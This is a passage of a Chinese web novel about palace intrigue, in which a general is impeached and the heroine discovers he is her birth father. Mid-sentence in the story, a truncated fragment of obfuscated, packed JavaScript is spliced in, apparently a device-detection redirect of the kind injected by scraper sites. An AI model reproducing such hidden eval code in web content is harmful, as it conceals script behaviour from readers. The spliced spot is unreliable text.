露微也听见小奴说话,久不见谢探微回头,凑去一看,那驾马车上抛露的面孔,她也很不陌生,“这个时辰难道是要进宫?”太平坊紧邻皇城,取道此处很符合常理。 “或许宫中有人得了急病。” 谢探微这才回坐,说了一句,二人便已心照不宣——陈自和是太医署之首,除了总领医药庶政,日常多是专门供奉天子,而夤夜入宫,大约也不会是为旁人。 …… 那夜果然是皇帝突发急病,只是并不算严重,取消了两日的宫宴,便一切恢复如常。 然而大出朝野意料,甚至是令朝野震惊的是,皇帝在上元节当日,以一道亲手书写的圣旨,不但恢复了昭容周氏贵妃的名位,还授予了吴王李循监门卫大将军的官职。 87.家婢 将军府的学堂此日来了五六个学生,又恰逢谢探微、陆冬至休沐,再加上两位女先生,一间不大的暖阁倒坐满了。一堂课毕,学生各自出阁暂歇,唯是陆冬至被杨老师特别关顾,紧盯着他默书。 谢探微和露微原也要出去透透气,瞥见这场景,都不由好笑,双双走去,同淑贤一般,将陆冬至围了起来。再一看他所写,不过就是一段兵法,还是第一次开课时教的。 陆冬至本已心虚,淑贤一人也罢,又添了两双眼睛来看戏,愈觉羞惭,眼珠来回转过,定在谢探微身上,“你既不用学,也不教课,白杵在这里做什么?都挡我光了!” 谢探微却早已将他看透,不过就是不服,又不好对女孩子说什么,一笑,伏去他的案头,道:“这有何难?阿兄给你掌灯啊!” 他为婚事才肯松口叫了谢探微一声“阿兄”,此事早经谢探微之口传扬,许久不提,偏在此刻拿来占便宜,当即引人大笑起来,便是淑贤虽是局中人,也憋笑得满脸涨红。 “谢探微!” 他自是满心羞耻,丢了笔,气得倒吐气。可眼见是要将人拎出去打一架的意思,门外却忽然冲入一人,还没看清个影子,带来的凉风先激得四人一惊。 “郑复?你也来上课?” 此人方一站定,露微一眼就认出来了,正是谢探微手下的金吾郎郑复,淑贤冬至成婚时见过一回。但他原就是出身世家,自小开蒙,文才不短,一向也没来上过学。 郑复果然摇头,似有什么急事,眼睛只盯着谢探微:“司阶……”他欲言又止,可谢探微竟已领会,轻揽露微,略示安抚,很快将人带了出去。 露微倒从未主动过问谢探微的公务,可想来奇怪,不免就将目光转回了冬至身上:“最近军中有什么要紧事吗?” 冬至还有些赌气,只懒懒道:“我现在又不跟他日日在一起,哪里知道他的事。” 淑贤左右是帮着露微的,见不得他敷衍,瞪了一眼,道:“郑复来定是为公事,你们总是要在卫署碰面的,你好好想想,有什么大事么?” 淑贤的话便是严旨了,冬至再不敢糊弄,抿唇细想,将能记起的大小事务尽力捋了一遍,半晌皱眉道:“将军治军严整,从未出过纰漏,当真并无大事。硬要说,只有件玩笑,不是公事,也和谢探微无关。” 虽如此说,倒让露微更添稀奇,毕竟是在军中,可取笑的事大约都不会是空穴来风:“什么玩笑?” 冬至便道:“将军府开了学堂,凡上过课的都说很有用,是件大功德。这名声早就传扬开了,就有人笑说金吾郎如今都成了郑玄家婢。我问过贤儿,郑玄是谁,她说是古时的大儒,我就知道了,这是夸我们金吾呢!” “你是为这个问的?”不及露微作声,淑贤先诧异起来,冬至确是问过,但只是一日临睡前随口问了个名字,她还以为是这人长进了,此等名贤大儒也知道,“你怎么不把话说全呢!” 冬至不解其意,但能瞧出她脸色变了,再瞥眼露微,更是神情凝重,“怎么了?这不是好事么?” 露微掩在袖下的手已紧紧攥起,只觉喉咙干涩,心中思乱如麻。淑贤见状,心领神会,朝冬至挤了一眼,道:“去外头告诉你那些同僚,今天不学了,以后也要暂停些时日,有些家事。” 冬至自然想知道为什么,但事出突然,也感到异常,迟延观望,终究照做去了。然则片刻之后,先于他冲进来的,是未及与郑复叙完话的谢探微。 他见冬至出来安排,立马只觉是露微身体不适,将她揽过就问:“怎么了?!刚才不是还好好的么?” 露微抬起头,眼中一瞬惶然,缓缓方滞涩开口:“郑玄家婢,你知道,为什么不告诉我?” 那四字不期然至,谢探微顿感胸口一闷,犹遭重锤,“是……阿父不许,他说流言无稽,不必理会,你做的是好事,不必让你担心,也无需……叫你不高兴。” 露微心头震动,恍然记起一件事:最初向晏令白说起办学之事,晏令白并不是一口应下的,而是告诉她,武官升迁不必重文,或许很少会有人来学。这看似只是周全考虑的话语,原来竟是隐晦的预警么? “现在,还是好事么?” 虽语带质问,却更是自悔。谢探微也只是无言相对。 “到底是什么意思?不是好事,又坏在哪里了?”冬至至此终于忍不住了,越发看他们三人是打哑谜,那夫妻两人说的听不懂,自己媳妇很懂却只垂目缄口。 但这话问出去,也只有淑贤理会,拽了拽他衣角,示意他安稳些,方低切一叹,解释道: “郑玄是名儒贤达,就连他家婢女都知书识礼,能与主人答对。这原是赞扬之语不错,但若放在军中,岂能有‘家婢’?那些取笑之人是讥讽将军结党养私啊!” 淑贤虽明理聪慧,也不大解得朝堂诡谲,年来常随露微经历,倒才能看破些明面的事。这番解释通透简明,叫冬至立时就反应了过来,心中惴惴。 “这都怪我!起初就是我引出来的事,想得太简单!” 淑贤越发自责,说着眼眶便红了。冬至已然明了,又岂不知他才是罪魁,心疼不已,附去她身侧,哄劝道:“你别哭,哪里能怪你呢!等将军回来……” “不要等了!” 露微沉默有时,并非一筹莫展,渐从纷乱的思绪中拔出,听他二人无甚章程,不免先要提醒: “你们现在就回一趟杨家,问问杨伯父,也听听你阿兄如何说。结党已非新词,杨家也已牵涉,可渊水虽深,不能待溺。” 淑贤很快回过神来,用力一点头,“好,我回来再与阿姊商议。”遂拉起陆冬至,双双小跑而去。 院里院外就只剩了夫妻二人,露微这才回看谢探微,泄了口气,道:“鼓钟于宫,声闻于外——其声已至,该当如何?” 正如她交代淑贤所言,结党一类的议题早已不是新闻,谢探微在初听家婢之论时,便知是那些人卷土重来了。而如今,贵妃复位,吴王授官,连皇帝的态度也变得这般暧昧不清,他们这群“党徒”又该如何自证呢? “微微!”短暂的思量之后,谢探微却忽然正色,将露微两手托在掌心,道:“郑复才来找我,是为数月前拦路陷害你的那个女子的事,我找到她们母女了!” 露微愣怔了半晌,非是忘记了这桩要事,只是当真被家婢之事横截了思绪,以为郑复也是为此事而来,“你……她们,这又到底是怎么回事?” 谢探微蹙眉一笑,这才将暗中行事详细告知。当日那女子佯装失路求助,以至露微落入圈套,虽很快解决,但紧接着便是贵妃借此挑动皇帝赐婚二郎。如此接连被钳制,谢探微便想到要寻到那对母女,才可反制于贵妃一族。 “我不能私自离京,但又不能动用金吾中人,惹人注目 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“我知道,你都在书信里说了。”姚宜苏舒了口气,这才转过目光,泰然一笑,“你做得很好,这个家早该交给你。” “只是,我并没有更多能做的了。”姚宜若垂目苦笑,脑中思绪虽清朗,却立不起章法,叹道: “近来朝事迷离,尤其天心难测。就比如,皇太子尚未领授官职,却忽然给吴王授了监门卫将军。且不言陛下素日最是爱重太子,如此厚吴王而轻太子之事从未有之,便单论监门卫的职权,掌宫门进出,禁军之中,除了陛下亲率的羽林卫,就是仅次于金吾卫了——如此紧要兵权,吴王年少,岂不都落入了周氏手中?而他周氏手中,可原本就握着一个京兆府啊。” 姚宜苏将每个字都细细听到了耳内,面上仍无波澜,忽问道:“听闻我回来之前,陛下病过一回?” 姚宜若心内未平,略一迟滞方点头:“是,好像是晕眩之症,经太医令陈自和诊治,数日就好了,并无大碍。” 姚宜苏似入深思,眉间蹙起淡淡一痕,半晌只道:“我知道了。” 长兄从前颇受天子器重,太医署除了陈医令,便只有他能够单独为天子看疗。姚宜若想来,觉得他另有深意,问道:“难道阿兄觉得这有什么不妥?” 姚宜苏第二次向弟弟移去目光,可凝眸片时,却是道:“金吾卫近日流言四起,你应该也听说了吧?” 姚宜若方才便提到金吾,这些风言又岂能避开,道:“能想出‘郑玄家婢’的罪名,也算是别出心裁了,此事是冲着晏令白将军去的,便可反证,吴王授官之事很不简单。” 姚宜苏却又缓缓摇头,眉宇愈发压紧,额角青筋都凸起来,“我的意思是,你若能遇见——她,或是请真儿去传一句话,怎样都可,定要劝她莫再授课,这断非晏将军一人之事。” 姚宜若虑深至此,岂能不察事关“她”,只是话端牵连朝事,一时未曾经心,这才回过味来,忙颔首道:“好,好。” 姚宜苏闭了闭眼睛,神色松弛些许,再无多言,转身要走,“你去吧,陪真儿和孩子们玩罢。” “阿兄不去和兰儿说说话吗?”姚宜若追上一步喊道。 姚宜苏停步回头,只是叮嘱:“我回京的事,对谁都不可说。”沉声又道:“等天色暗些,我会去宁人坊的宅子安置,若有事我便让阿林来找你,此事,也不可对人言。” 88.遗憾 淑贤自杨家带回的消息也不容乐观。 除了“郑玄家婢”的风言,竟连晏令白曾为朝廷密探,为天子暗查百官言行的事,也成了攻讦的理由。一个战功赫赫,半生戍边的大将军,却被说成探人隐私卑行媚上的奸邪小人。而这些事,都不过是正月之后才渐成气候的。 “看阿耶和阿兄说起的样子,此事似乎很难辩驳,毕竟我们在将军府办学是真,将军暗查百官也是真。” “我后来又问了杨郎,他说这些流言都是表象,造势而已,恐怕不日还有大事,也不会止于晏将军一人。” 东院暖阁之中,露微望着一道前来传信的姑嫂两人,一直没有应声。她们所言,她都认可,但也无力去扭转。哪怕现在回赵家问自己的父兄,答案也不会有多大不同。 “芳儿,听说姑母已准备启程回苏州了,可定了日子?” 沈沐芳不料露微另起话端,与淑贤对视一眼方道:“阿娘原说是二月初,舅母留她,说等天暖些,三四月才好。” 露微抿了抿唇,神色迟疑,目光又似端量,半晌道:“你能不能去劝姑母,早些回苏州?” 沈沐芳惊诧抬眉,但未及反问,已自清明,屏住气一点头:“好。” 露微了然一笑,各牵住她二人一只手合在自己掌中,“凡事预则立,不论如何,不要害怕。” 此后三人静坐,目光时而交错,都没有再提这些事。 窗外的寒风按时节说,已能称作春风了,只是风力见柔尚待时日。人常说秋日肃杀,百物凋零,但此刻众芳摇落,阴寒恻恻,其实萧索不输秋节。 “贤儿,记得也要去同你长姊告诉一声。”姑嫂两人辞去前,露微向淑贤如是叮嘱。 …… 露微回到房中坐了片时,忽听细碎之声跳入耳内,像是沙砾撒落窗台,想不出是何故,欲探窗查看究竟,手未触及,却先恍一心惊——难道是下雪了? 她索性直接跑到廊下,向半空伸出双手,果然便有雪粒纷纷弹落,晶莹如碎玉般,竟能良晌不融。 “微微!” 她绝没想到,同春雪一般猝然而至的,还会有谢探微。顷刻,掌心积聚起的一层薄雪,便被那人宽大的手掌揉化无形。 “你怎么这时候回来了?”掌心变得又潮湿又温热,但天气却比刚刚冷得多了。 谢探微是一副无助又深重的神情,嘴唇勉力张开一半,许久才发出声音:“刚刚朝会上,章圣直弹劾,阿父笼络军心,意图颠覆,陛下将阿父革职了。” 他说得一字一顿,分明清晰可辨,却叫露微如闻刺耳盲音般,百骸为之一缩:“阿父难道没有为自己争辩?父亲呢?我阿耶也没有说话吗?!” 谢探微一把将她按在胸口,却不能抵消半分的痛心,只好狠狠咬着牙,口鼻间仍不断漏出哧哧的压忍之声。 “陛下不信,是么?”露微都明白了,既明白朝会上的情形,更是明白晏令白在谢探微心中的地位,“那阿父现在何处?大理寺狱?” 谢探微浑身仍在发颤,缓缓松开双臂,再度与露微相对的,是一双涨红充血的眼睛,“陛下已是积怒,章圣直不过引火,父亲和阿耶为阿父极力辩护,就连杨伯父也领着学官清流为阿父保本,这才令陛下暂缓发落。阿父现就在将军府待罪。” 听上去像是尚有余地,可这余地却是“党徒”们与天子争得的,接下来,岂非是要逐个拔除了?这道理,尊长们未必不懂,却已经到了不得不这样做的地步。 露微伸手抚向他僵冷的面颊,指尖轻轻停在他殷红的眼角,“不论怎样,我都陪你一起的。” 谢探微深深地望着她,挤出一丝笑,向她额上俯去轻轻一吻,“不论怎样,我都不会让你受到伤害。” …… 永夜迢迢,似无穷尽,夫妻在灯下相依,谢探微几度不闻露微声息,疑心她已睡去,垂目怀中,却总见她抬着一双澄澈的眼睛。 “我不走,你去睡好不好?” “我知道你睡不着。”露微稍稍支起身躯,朝他一笑,“索性都不要睡了。” 谢探微今日能回来,正是散朝之后拦驾求情,但未及开口,便被余怒未消的天子免去了昭武校尉的散官,责令他回家自省。 他自是不惜官爵名位,却没有继续求告,只因天子又紧接着警告他,在将军府办学授课的是他的妻子,本应从罪,不过看在她侍奉太子尚算尽心的份上才不予追究。 脑中不断闪过今日种种,令他眼中渐渐模糊,“嫁给我,苦了你了。” 露微仍是那般望着她,有些意外他如此说,但又是理解的,待他气息稍稳,说道:“阿耶曾和我说过,许多事就算陛下明知,也全在天心如何去想,至今看来,才有切肤之感。”淡笑又道:“你是这样的出身,我也有这般命,这不是苦,是我们的道。” 谢探微略有一怔,倒很记得他们曾有誓言:同行至道,终生不改。细细体味,心神松缓下来,“天心不明,臣心何如?我既救不了阿父,也不能叫你安心。” 露微摇了摇头,倾身抱住他:“兰麝岂无香,金翠岂无色,天心可以冥漠,臣心只需似水。” 开和二十年的第一场春雪在此夜将阑之际悄然收尽,明明是那般不易融化的碎玉冰晶,却只在檐角道旁积攒了点点残白,余处一如雨过,潮湿而已。 …… 虽一时无解,夫妻还是要往将军府探望的,临行前先依礼去了正院请安。谢道元昨日未归,只叫女婿带了几句宽慰之言,但李氏仍是翻覆一夜,见他夫妇过来,也叮嘱许多,又叫就在将军府住下,不必顾及旁杂。 将军府与谢家不过两街之隔,露微不欲乘车,谢探微便是依从,将她揽在自己氅衣之下,并行而去。 片刻间也就到了地方,可正当二人抬脚进门,一阵突兀的马蹄声忽然惊起于身后的街道。谢探微登时警觉,侧身一挡,将露微环护胸前,抱到了台阶之上。这才趁隙回首,竟一眼望见是乔晴霞跃下马背。 “乔娘?你这么急做什么?”露微亦探头瞧见,只觉乔氏通身慌促,脸色又是煞白,“难道阿耶也出事了么?!” 乔氏却没来由地发了怔,反差极大,步步走近将露微双手牵住,半晌不语,口中呼着粗气,两眼又泛红起来。 露微更有些吓住了,越发是想祸事蔓延到了赵家,不愿再等,正欲唤谢探微牵马,终于听她颤巍巍开口: “微微,你从小到大,不是一直想知道你生身之父是谁么?我今天就告诉你。” 这件事于此刻入耳,是无以形容的猝不及防,即使尚未听到那个名字,露微也已心头震荡——为何此时特意来说?又为何忽然愿意说了?许多究根问底的话,在良晌的斗争之后,都没有赢过她十八年来时起时灭的好奇心: “是——谁?” 乔晴霞复将她双手用力握紧,似欲脱口,又将含泪的双目移向了门首之内,“你娘是甘州人,十六岁那年在甘州郊外遇到了一个年轻军官,一见如故,结为夫妻,那人的名字,叫,晏令白。” …… 朝野看来风云忽变,于晏令白自己来说,眼前寂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他至此终于勾起前尘记忆,待谢探微撞破露微的隐情,向他直言禀明,他才恍然大悟,原来这个频频引他好奇,甚至令他一度疑为奸细的小丫头,竟是前妻之女。 然而,在知晓露微生辰前,他依旧没有怀疑这孩子的身世。他永远忘不了从谢探微口中听到露微年岁的那一瞬,天崩地摧亦不足形容。直至赵家被赦,他与乔氏再次见面,一切因果到底尘埃落定。 露微一直注目于他,似审视,如旁观,良晌忽又开言:“乔娘说,甘州不产樱桃,但每年夏月,市上会有商人贩卖,价比千金,她们买不起,就跟着那商人,捡他丢弃的烂果子。后来娘嫁给你了,你就会攒半年的俸禄去给她买,二十颗,就能叫她高兴到下一年——这样的日子,你们过了十年。” 晏令白终于转动眼珠,匆促划过女儿的面庞又垂了下去,“十……年,是,十年。” 露微点点头,幅度轻微,面色平和,道:“十年的夫妻,也算长久了罢。”思顿片时,又道:“你知道我娘已经不在人世的时候,只是想起了樱桃吗?” 晏令白哽咽难言,亦是无言以对,却不料女儿竟走到了他面前,伸出双手将他佝偻着的肩背扶持了起来。也是这双冻得发红的双手,在一年前的此时,正为他端汤侍疾。可现在,他并看不懂女儿举动中的含义,仍未作声。 “乔娘知道你见罪于陛下,怕你活不长了,怕我永成遗憾,心就软了,才主动告诉我这些事。”露微还是一味平和,像是替人转述般,说着垂下了双手—— “好了,我现在,没有遗憾了。” 这是女儿离去前留下的最后一句话。 89.疾霆 “父亲母亲是何时知道的?”谢探微望着堂上父母,发出间隔不久的第二次求问。 谢道元方才归来,身上官服未脱,脑中朝事未清,抬起倦怠的面容拂去一眼,清了清嗓子,却并不说话。李氏扶靠案上,目光在父子间交替,几度叹息,也是一副无从说起的样子。 谢探微无奈已极,无力亦到绝处:“父亲母亲既然早知,想要瞒着微微,为何就不能先告诉我呢?”说着摇头发笑起来: “阿父与微微的阿娘离婚,说是因为战事未平,却焉知没有我的缘故?你们把我送给阿父,他就更不可能离开甘州了!所以微微自小没有父亲,赵家再好,她也是受尽欺凌——我自小被你们丢掉就罢了,可我却让她尚未出生就被抛弃了啊!” “大郎!”李氏不忍再听,喊住他的同时已是泪流满面,“你父亲与你阿父虽是年少相识,但他娶妻之时,你父亲已经调任别处,我们都不知道他成过婚。他有女儿的事,也是微微那场大病之后,他才主动相告,你道是为什么?” 谢探微只是铺天盖地的愧疚,语出任诞也无法自控,听到此处,方气息一顿:“为……什么?” “就是为你要入赘赵家,但微微只怕你与家中更加疏远,就拖着病体去求你阿父来解释,不要你入赘,说就是与你做妾,也不愿与你分开!你阿父不好同她说实话,但岂不心疼女儿如此为你?只有道出实情,算是将女儿托付给了我们。” 谢探微良久失语,积聚在眼中的泪水悄然掉落。 “大郎,你若实在不能放下小时候的事,娘不会勉强你,更不会责怪你,只是,微微也会如你所想的这般么?” 谢探微自座下缓缓起身,行至中央向父母拜了一礼,转身要走。李氏话意已尽,只低头拭泪,却忽听谢道元唤住了儿子: “大郎。” 按照子弟行辈的称呼,是寻常且亲昵的,却似乎是第一次听父亲这么叫他,在此时也显得格外怪异。他顿步半晌才转过头来,眼中茫然,启唇又闭。 “你,去吧,去吧。” 父亲只是朝他挥动了下手。 …… 谢探微从未想过,他奔赴露微的脚步会有一日变得如此沉重,走回东院的路程,也变得如同险山恶水一般。终于跋涉至廊下,却在抬头间,遇上了正自房中转来的岳丈。 其实翁婿间少有单独相对之时,即使赵维贞对他的态度早有改观,他还是不敢造次的,此刻便又多添了一重怯懦,退步揖礼,垂目低首,口不敢言。 赵维贞也是刚刚惊悉其事,他是局外人,又是局中人,心中亦别有一番复杂,轻叹一声,道:“陛下既然叫你居家自省,这些时日,就莫管外务了,多陪着微微便是。” 谢探微迟滞了片时方才稍抬面孔,“是。”声音微有颤抖,咽了咽,忽然跪倒下去:“事由我起,罪在我身,阿耶,对不起。” 赵维贞也见他面上愧色深沉,却不料至此,心下一恸,不由伸手去扶,然而想要说些宽慰之言,竟又不知拣哪个字说起,终究还是一叹,“去吧,进去吧。” 谢探微又恍惚了半晌,方才拖着步子进了房中。第一眼所见,是露微蜷缩在榻上的背影,陪在一旁的乔氏瞧见他,忍泪起身,离去前一步一回头。 身后换了个人,露微还是一动未动,谢探微疑心她睡着了,方牵了被子要为她盖上,忽然听道: “你吃过阿娘亲手做的馄饨,那么好吃,你到现在还记得,可是我从没有吃过,也再没有机会了。” 谢探微不禁倒吸了口冷气,手上一颤,掉了被角——他们曾细致地谈论过那位,一出现就带来馄饨的神秘女子,她还说这女子于他有养育之情,叫一声“阿母”也不为过。 可原来,这过,二十年前就铸成了。 再推想这两年来,其实许多事都是早现苗头。比如,晏令白在知晓露微生辰后,竟又问十六还是十七,一岁之差所能区别的,不是外貌,而是血脉;又比如,成婚那日,晏令白在他去赵家亲迎前又单独将他拦住,语态隆重,却只嘱咐他千万要护好了露微…… “微微,微微。” 他一时该有千言万语,出口却唯余两声哀求般的低呼,不及音落,眼前背影猝然翻转,于他惊惶的间隙发问道: “谢敏识,我若不许你救他,你肯不肯?”不等他辗转迟疑,紧接着又道:“你若不肯,我们就和离。” 她自眼神里爆发出不容反驳的逼迫,令谢探微短暂地感到了陌生,但惊惧只增不减,“微微,你知道,你在说什么吗?” “我要你,让晏令白自生自灭,我要你,在我和他之间,选一个!”露微清晰且笃定地解释了一遍,“懂了?” 即使他已经很清楚,他们之间难再平复如前,他责怪的也只是自己。他更能理解她的愤怒,却也从不曾想,她竟能出下这道水火之题。他缓缓摇头,难以置信又不知所措,一把将她挟进怀里,任她挣扎,越发用力: “你不能不要我!你早就答应过我的!你不能的!” 力气虽争不过,露微却也毫无心软之意,听他声音暗哑似泣,不过冷笑一声,“我并没有不要你,你选我便是了。” 他气息抽动,手掌便不自禁地抓紧,隔着厚实的毛织衣料也叫露微眉心一蹙。他听见了她吃痛的低呼,依旧没有罢休,“微微——我可以……我可以不再……” 答案已在唇齿之间,却终究断于中道,那刚刚表露的一分偏向,在艾艾结舌的衬托下,反显出十分可笑: “谢敏识,其实你有什么可作难的呢?未必你不选我,凭你一个失了圣心的下等军官,就能救你的阿父了?” 他心头一震,一双手臂终于松动,再说不出一个字来。 …… 晏令白下狱的消息,终在二月的头一日降临,所负的罪名,又于“意图颠覆”之上,冠盖了“勾连甘州”、“暗操兵权”的描摹。旬日之间,连同陆冬至在内的一众甘州出身的金吾军士都被解了官,悉数押入了大理寺待罪。 露微已连日未出门,听杨淑贤说得泣涕如雨,愤恨不及,她只是一副淡漠的神情,细细抿茶,慵慵倚榻。 “阿兄说,国家安宁,数十年来就只有北边经历战事,甘州边军可想而知是骁勇过人。这二十万甘州将士若真要造反,难道是千里之遥可以抵御的吗?真不知陛下何来的疑心!” 淑贤几度说到激昂处,转过眼来都只见露微神游天外,想想也知她如今心境不同,可又再无别处去说,含泪一叹,牵住她道: “阿姊,我知道你难过,可是冬至他……听闻牢里很冷,我都不及给他多送一件衣裳……阿姊,纵然你不想管金吾的事,可就不怕谢家,赵家也快……” “不怕。”露微忽然打断,脸上却是似笑非笑,“你父亲是学官,既无兵权也无涉政事,不会被人放在眼里。至于你阿兄,与谢家有姻亲,又是谢相的部属,就更不怕了。如此,你的冬至不过金吾小卒,断无性命之忧。” “阿姊是说,这案子牵连不到旁人么?”虽然她用词奇怪,但淑贤还是听得懂的。 露微瞥了她一眼,道:“牵连谁,也牵连不到谢家。你不见谢探微身为金吾,又是晏令白的义子,还好端端的在家么?”从自己腕上推开了她的手,又道:“你回家吧,将军府虽然没了,你只好好呆在杨家便是。” 将军府随同晏令白下狱已经封没,淑贤自是住回了本家,只是露微的态度越发判若两人,实在又很难理解:“阿姊,你到底怎么了?” 露微不再与她多说,唤来雪信将她带离。她失神片时,临转身前,投来失落而失望的目光,露微亦未理会。 少顷,雪信了事回来,却变得一副欲言又止的模样,露微想是淑贤大约又问了她,便道:“不知道的事,不说话就对了。” 雪信却摇头,咬唇半晌方支吾道:“奴婢才在书房外面,碰见长公子,他……问奴婢,夫人有没有按时吃饭。奴婢说夫人一切如常,他便点点头走了。奴婢又多嘴追问了一句,公子要去哪里,他就没有说了。” 自那日后,谢探微再未踏足过卧房,院里尚有许多空置的厢房廊屋,但唯有书房最近。露微心知肚明,沉静片刻,却是忽然起身: “去备车吧,回家看看阿耶。” …… 一去半日,露微返回时已将宵禁,脚步才到前庭游廊间,身后又来了一人。他似快步追来,却并无急色,一笑就道: “长嫂从哪里回来?”并不停顿又道:“我劝长嫂近日还是不要出门的好。” 谢探隐的笑意如他的声调般越发高扬,露微虽已不必同他虚以委蛇,一时细想,他这态度自两月前便变得如此,却至今不及究察根源。不好此刻迟滞,只道:“怎么?凭你也配管我的事?” 谢探微抬了抬眉,兀自整理起衣袖,悠悠又道:“我知道,长嫂才与亲生父亲相认——只是,你父亲已经下狱,活不了几天了 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风言轶事,三人成虎,能传成这个样子,严丝合缝,因果匹配,近乎让露微都感觉是合理的。她无声一笑,提目斜睨,又是一笑:“不知是谁在传?还是敢传,不敢认?” 谢探隐并无一丝慌张,靠近一步,只又道:“说到底,晏令白就是为你牵累,你不去教书卖弄,哪有后头的事?姚宜若也是为你所害。你幸亏是嫁到了谢家,否则,你那女学士,你父亲的太傅之位,早就岌岌可危了。你少出门,也是少去丢我谢家的脸!” 露微不欲再与他纠扯,径自离去,却又在三两步外听他放声:“差点忘了告诉长嫂,我才在延寿坊遇见阿兄了,但他好像不是去游逛的,因为我瞧见他的地方,是安定观。” …… 入夜,露微早早便歇下了,只留了榻边一盏小灯。灯光只能照见她半副身躯,她便蜷在晦明之间,一双眼睛缓缓眨动,良久既不曾睡去,也别无额外的举动。 直到那烛火忽然灭了,随之拂来一阵怪异的风,便觉后背一紧,贴上来另一副宽阔的身躯,“微微,别动,我们说说话。” 露微惊起了一身鸡皮,不由抖了抖肩膀,但很快就稳住了气息,“做什么要熄了灯?” “你不想见我,没有灯,便见不着了。”他的脸贴在她脑后散下的青丝上,还和从前一样,是柔软滑腻的触感,不禁蹭了蹭,暗暗深吸发间幽淡的馨香。 “其实我一直知道,叫你嫁给一个下等武官,是很委屈你的。父亲母亲到你家提亲之前,不知陛下心意,还猜测陛下有纳娶之意。虽终究不是,可我想来,皇后,你也是做得的。太子赐下的凤钗戴在你头上,真是好看,真是合适。” 他字句浅显,声音亦平和,露微却一时惘然,半晌,道:“事到如今,你不必说这些,难道你熄了灯,是为作暗室欺心之论?恐怕我若不是晏令白的孽债,你家也瞧不上我。” 谢探微却轻笑了声,又将她腰间环紧了些,“微微,你这样说话,我很高兴。有时候,我就想你和我闹一闹,无理至极,无赖至极才好,可是,你连撒娇都似乎没有过。” 露微再次诧异,稍稍偏去面孔,又悄然回转,“你到底要说什么?” “就是说说话,我向来陪你的时候太少了。”他淡淡道。 二人沉默了一时,露微忽沉声唤道:“谢敏识。” “我在。”他应得极快,几与她话音重叠,“怎么了?太紧了?”他松开她腰间的桎梏,换成握住她微凉的手。 不论是他的环抱,还是手掌,露微自始至终都没有抵触过,或者说是无动于衷,等他动作停下,方一问: “你今天,去了安定观?” 谢探微仍很快回应:“嗯,去了。我不能看着阿父蒙冤而死,去见一见她,是最好、最快的办法。单凭谢家,我父亲,我母亲,谁都做不到。” “你终究是没有选我。” “微微,我只是一个下等武官。” …… 其实每岁之初,咸京城里最叫人关注的事,莫过于礼部春闱。但开和二十年正月以来,朝廷风云突变,倒也分去了许多人心。直至一日朱雀门外忽然张放了及第进士榜,一个喜讯传来—— 当朝首相谢道元的次子谢探隐,高中一甲第一名。 “疾霆已至,白日昏昏。” 闻讯之后,露微如此平静自语。 90.断婚 谢探隐高中状头,不日就受封了弘文馆学士之职。 国朝进士甫一入仕,名次靠后的皆是出京外任,从县官小吏做起。但能够留京的,也还有高低之分。如谢探隐这般,也如去岁状头姚宜若一般的“学士校书”,便是人人称羡的“高驾”了。凡此起仕者,大多是青云直上,封侯拜相的。 当谢探隐身着浅绿官服,腰束银带,面貌一新地站在父母面前,果见他们一改往日态度。父亲不仅对他笑语夸赞,还急着就传授起为官之道,母亲更是当即就吩咐摆宴庆贺。此间气氛,真可谓一扫连日朝事阴霾。 然而他也并不一味自顾,寻了间隙,忽然叹声,看向父亲道:“父亲也知,弘文馆分属门下省,正是侍中章圣直的管辖,可他是周氏的党羽,才害了晏大将军,大将军至今还在死牢。况且,他还是吴王的老师,但我们家,长嫂家,却都是为太子的……所以,儿虽侥幸得中,实则心有戚戚。” 谢道元听来抚须叹声,安慰道:“你能看清这些事,已经很好,朝中尚有为父主持,你倒不需过于担心,我谢家还是与别家不同的。” 李氏亦随之道:“是啊,娘在一日,便有宗亲的辈分在,陛下多少还是顾及的。难道你不见,你阿兄也复官了,你长嫂家也无事?周氏一族再厉害,也不敢轻动谢家的。” 谢探隐蹙着眉缓缓点头,又作一叹:“提起长嫂的事,我真是生气。她那样德才兼备,如今外头却把她说成那样,姚宜若被贬为了庶人,更叫她站在风口浪尖,再无清白了。” 这几句话顿叫父母面上冷了下来,对视一眼,李氏说道:“家里好不容易有件喜事,你休提那些。娘一直是如何待她的,谁人不知?可她近日都不来请安,娘也不想再操心了。” 谢探隐仍维持那副忧切情状,“那儿先下去更衣。”顿了顿,又道:“只是晚上家宴,娘还是去请一请长嫂,好歹看在阿兄的份上。听闻他们正闹不和,借此机会叫他们说说话,长嫂会想明白的。” 李氏未置可否,只一笑:“娘没白疼你,你也真是长大明事了,先去吧,娘自有主张。” …… 谢探隐的面容在转身之际巧妙地覆上了一抹微笑,只是笑意未及张扬,又被眼前出现的身影生硬截断,但一瞬掩过: “阿兄!你回来了。” 今日是谢探微复职后的第一个休沐日,望着弟弟意气风发的官服穿戴,他半晌才回应:“嗯,你呢?可还习惯?” 谢探隐提气一叹,道:“学士是个闲职,远比不上阿兄辛苦,而且……”忽作警觉状左右环顾,压低了声音,“章圣直每日在弘文馆为吴王授课,有时会命学士辅教,却从不正眼瞧我。所以,我恐怕是没有出头之日的,不能像阿兄一样为家中分忧了。” 谢探微静静听完,抬手拍了拍他的肩,温和一笑:“堂堂一甲状头,才去几日,怎的这样泄气?章圣直素与父亲不和,是个气量狭窄的人,你的官职是陛下亲封,何必看他的脸色?你只要做好分内之事,我看谁敢欺负你。” 谢探隐点点头,扬起眉来:“是!有父亲和阿兄在,我自然安心。阿兄快回去更衣歇歇,阿娘说稍待在花厅摆席,一家人都来。”稍一停顿,敛了几分笑: “娘知道阿兄和长嫂正闹别扭,长嫂近日都不来请安,娘心里有气。阿兄不若去说句软话,哄了长嫂过来,娘那么心软,见你们好了,她自然也没话说的。” 谢探微的脸色随这话沉下几分,见弟弟目光愈发殷切,强自一笑,方才回道:“你的心意我知道了。” 兄弟至此不再多说,但见二郎含笑转身,谢探微却似失了神,呆站了一时才迈步东院。 夫妻仍旧各居一室,但路过正寝时,他却忽然停住了。守候门下的丹渥见状,猜他是要进去,却又深知他们夫妻连日冷情,拿不准,不敢上前应承。 “夫人这几日可有按时吃饭?” 丹渥才将头低了,忽听这话,吓了一跳,“奴婢们都是按时送去,只是夫人说不出门不饿,吃得不多。” 